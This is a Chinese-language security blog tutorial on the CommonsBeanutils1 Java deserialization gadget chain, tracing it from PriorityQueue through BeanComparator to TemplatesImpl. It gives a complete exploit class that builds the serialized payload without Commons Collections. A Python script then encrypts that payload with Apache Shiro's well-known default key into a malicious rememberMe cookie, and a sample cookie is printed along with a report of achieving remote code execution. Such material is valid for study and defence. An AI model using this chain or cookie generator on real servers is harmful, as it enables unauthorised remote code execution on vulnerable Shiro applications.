0x00 前言

在上一篇文章《Java中动态加载字节码的几种方法》中,已对CommonsBeanutils1做了一点点铺垫。一言以蔽之,上文中所提到的TemplatesImpl#getOutputProperties即为CommonsBeanutils1中的Sink,此部分内容即为前置知识,若有疑惑请回顾上文,在本文中将不再赘述。

0x01 Commons BeanUtils简介

Commons BeanUtils是Apache软件基金会提供的一个开源Java库,用于简化JavaBean的操作,适用于需要频繁操作JavaBean的场景。它提供了一组工具类和方法,对JavaBean进行常见操作,如属性的复制、属性的获取和设置、属性的类型转换等。通过使用Commons BeanUtils,开发人员可以减少重复代码的编写,提高开发效率,同时提升代码的可维护性和可扩展性。

0x02 受影响版本范围

Commons BeanUtils最低影响1.7.0,最高影响至1.9.4;对于Java版本,若为8则通杀。

0x03 PropertyUtils#getProperty

org.apache.commons.beanutils.PropertyUtils#getProperty是Commons BeanUtils中的一个用于获取JavaBean对象属性值的方法。

JavaBean

关于JavaBean是什么,其所具有的特征就是它必须具有一个公共无参构造方法;且通常包含一系列私有字段(即成员变量),每个字段都有对应的公共访问器(getter方法)和修改器(setter方法),用于访问和修改字段的值,这些方法需遵循命名规范,如getXxx()setXxx()驼峰式命名。如下的Person就是一个简单的JavaBean。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.javasec.cb;

public class Person {
private String name;
private int age;

public Person(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() { return name; }

public int getAge() { return age; }
}

当我们创建完一个Person对象,并需要获取它的name、age时,通常会调用该对象的getName、getAge,这两个方法也是其getter方法。

getProperty

现在,我们可以使用PropertyUtils#getProperty达到相同的效果,见如下示例代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.javasec.cb;

import org.apache.commons.beanutils.PropertyUtils;

public class PropertyUtilsTest {
public static void main(String[] args) throws Exception {
// 创建一个JavaBean对象
Person person = new Person("John", 30);

// 获取person的name、age的通常做法
System.out.println(person.getName() + ": " + person.getAge());

System.out.println("=======================");

// 通过getProperty达到相同的效果
String name = (String) PropertyUtils.getProperty(person, "name");
int age = (int) PropertyUtils.getProperty(person, "age");

System.out.println(name + ": " + age);

}
}

getProperty方法接受两个参数,第一个是获取属性值的JavaBean对象,第二个则是属性名。

1
2
3
4
5
6
public static Object getProperty(Object bean, String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {

return (PropertyUtilsBean.getInstance().getProperty(bean, name));
}

需要着重注意地是,getProperty方法会根据传入的属性名自动找到其getter方法,并进行调用。

0x04 BeanComparator

org.apache.commons.beanutils.BeanComparator是Commons BeanUtils库提供的一个比较器类,用于对JavaBean对象进行比较和排序。

compare方法

在BeanComparator#compare方法中存在对PropertyUtils.getProperty方法的调用,前提是this.property不为null。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public int compare( T o1, T o2 ) {
if ( property == null ) {
return internalCompare( o1, o2 );
}
try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return internalCompare( value1, value2 );
}
catch ( IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
// ...
}

在本文的开头,提到了关于CommonsBeanutils1的Sink,即TemplatesImpl#getOutputProperties方法,这个方法名称是以”get”开头,符合getter方法的定义。

那么,结合上一部分中所提到的,getProperty自动调用传入属性名的setter方法的特性,我们便可以构造如下代码,运行便会弹出计算器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package com.javasec.cb;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

import java.lang.reflect.Field;

public class BeanComparatorTest {
public static void main(String[] args) throws Exception {
// Sink
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_name", "T");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});

// 初始化BeanComparator对象
BeanComparator comparator = new BeanComparator("outputProperties");
comparator.compare(obj, obj);

}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

脱离Commons Collections

在初始化BeanComparator时可传入property和comparator,在只传入property时,默认comparator会是ComparableComparator.getInstance(),而ComparableComparator这个类又属于Commons Collections。

1
2
3
4
5
6
7
8
9
10
11
12
public BeanComparator( String property ) {
this( property, ComparableComparator.getInstance() );
}

public BeanComparator(String property, Comparator<?> comparator) {
this.setProperty(property);
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
1
2
3
package org.apache.commons.collections.comparators;

public class ComparableComparator implements Comparator, Serializable

这就导致必须要有Commons Collections的存在,CommonsBeanutils1才可正常地利用。幸运地是在1.9.0至1.9.4版本的Commons BeanUtils,自带了Commons Collections的,在这个范围内是可正常利用的。

但在1.9.0以下的版本,却是不包含Commons Collections的,所以需要找到一个替代的类,这个类需要跟ComparableComparator一样,同时实现了java.util.Comparator接口和java.io.Serializable接口,且该类最好是原生JDK自带,或者存在于Commons BeanUtils中,这样也能够更好地满足兼容性。

最终找到两个符合条件的类,如下图,java.lang.String.CaseInsensitiveComparator与java.util.Collections.ReverseComparator。

注意它们的private访问修饰符,可通过同类下其他public访问修饰符的方法进行调用。

1
2
BeanComparator comparator = new BeanComparator("outputProperties", String.CASE_INSENSITIVE_ORDER);
// BeanComparator comparator = new BeanComparator("outputProperties", Collections.reverseOrder());

如此,便能在无Commons Collections的情况下,从Commons BeanUtils 1.7.0至1.9.4版本均能够顺利地利用。

以上,已对Sink与中间链进行了结合,现在只剩一个Kick off类便可拼凑成一条完整的利用链。

0x05 PriorityQueue

java.util.PriorityQueue是Java中的一个优先队列实现类,优先队列是一种特殊的队列,其中的元素按照一定的优先级顺序排列,而不是按照它们被插入的顺序排列。

在对PriorityQueue进行反序列化时,如果PriorityQueue是使用比较器进行排序的,则会重新设置比较器,并根据比较器对元素进行排序。

在如下readObject方法中调用了heapify方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
/**
* Reconstitutes the {@code PriorityQueue} instance from a stream
* (that is, deserializes it).
*
* @param s the stream
*/
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

继续跟进heapify,发现其中存在siftDown的调用。

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

而siftDown中又有siftDownUsingComparator方法。

1
2
3
4
5
6
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

siftDownUsingComparator则对compare进行了调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

根据如上所有进行总结,当对PriorityQueue对象进行反序列化时,会通过PriorityQueue#readObject中的heapify方法调用到siftDownUsingComparator,并在其中触发BeanComparator#compare的调用;当设置property为outputProperties时,在BeanComparator#compare中会通过PropertyUtils#getProperty触发BeanComparator的getter方法即TemplatesImpl#getOutputProperties的执行,最终便能够达到加载任意恶意字节码,实施攻击。

0x06 CommonsBeanutils1利用代码

根据如上所有,构造最终的CommonsBeanutils1利用代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package com.javasec.cb;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

import java.util.Collections;

// 1.7.0 <= commons-beanutils <= 1.9.4
// JDK 8 版本通杀,已在1.8.0_65和1.8.0_361版本上测试成功,
// 1.7.0_04、1.7.0_80和9均测试失败
public class CBRCEWithoutCC {
public static void main(String[] args) throws Exception {

// Sink
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_name", "T");
// 可去除,TemplatesImpl#readObject方法中有创建一个TransformerFactoryImpl,并赋值给_tfactory
// setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
setFieldValue(obj, "_bytecodes", new byte[][]{
ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
});

/*
ReverseComparator与CaseInsensitiveComparator均符合同时实现了Comparator和Serializable,且原生JDK自带。
*/
BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
// BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());

// 先正常比较,以防在序列化时就触发恶意行为
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");

// 再利用反射将property设置为outputProperties,以调用obj的getter方法,即TemplatesImpl.getOutputProperties
setFieldValue(comparator, "property", "outputProperties");
// 最好进行恶意比较,以触发getOutputProperties方法的执行,最终实现通过TemplatesImpl加载恶意字节码
setFieldValue(queue, "queue", new Object[]{obj, obj});

// ----------------本地序列化与反序列化测试----------------
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("CBRCEWithoutCC.ser"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("CBRCEWithoutCC.ser"));
inputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

如下是部分关键调用栈。

1
2
3
4
5
6
7
8
9
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax), TemplatesImpl.java
getProperty:290, PropertyUtils (org.apache.commons.beanutils), PropertyUtils.java
compare:150, BeanComparator (org.apache.commons.beanutils), BeanComparator.java
siftDownUsingComparator:722, PriorityQueue (java.util), PriorityQueue.java
siftDown:688, PriorityQueue (java.util), PriorityQueue.java
heapify:737, PriorityQueue (java.util), PriorityQueue.java
readObject:797, PriorityQueue (java.util), PriorityQueue.java
readObject:422, ObjectInputStream (java.io), ObjectInputStream.java
main:50, CBRCEWithoutCC (com.javasec.cb), CBRCEWithoutCC.java

0x07 CB1在Shiro中的利用

在Shiro中是存在Commons BeanUtils组件的,但未必会有Commons Collections,所以恰巧可利用CommonsBeanutils1来攻击Shiro。

编写如下简易Python脚本,用于生成Payload,./CBRCEWithoutCC.ser文件是通过如上利用代码生成的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64
import uuid
from Crypto.Cipher import AES

with open('./CBRCEWithoutCC.ser', 'rb') as f:
data = f.read()

BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode("kPH+bIxk5D2deZiIxcaaaA=="), AES.MODE_CBC, iv)

print("Cookie: rememberMe={}".format(base64.b64encode(iv + encryptor.encrypt(pad(data))).decode()))
# Cookie: rememberMe=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

运行脚本,打印恶意的rememberMe Payload,并在BurpSuite中构造恶意请求,最终成功实现RCE。

0x08 参考

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsBeanutils1.java

https://commons.apache.org/proper/commons-beanutils/

https://github.com/phith0n/JavaThings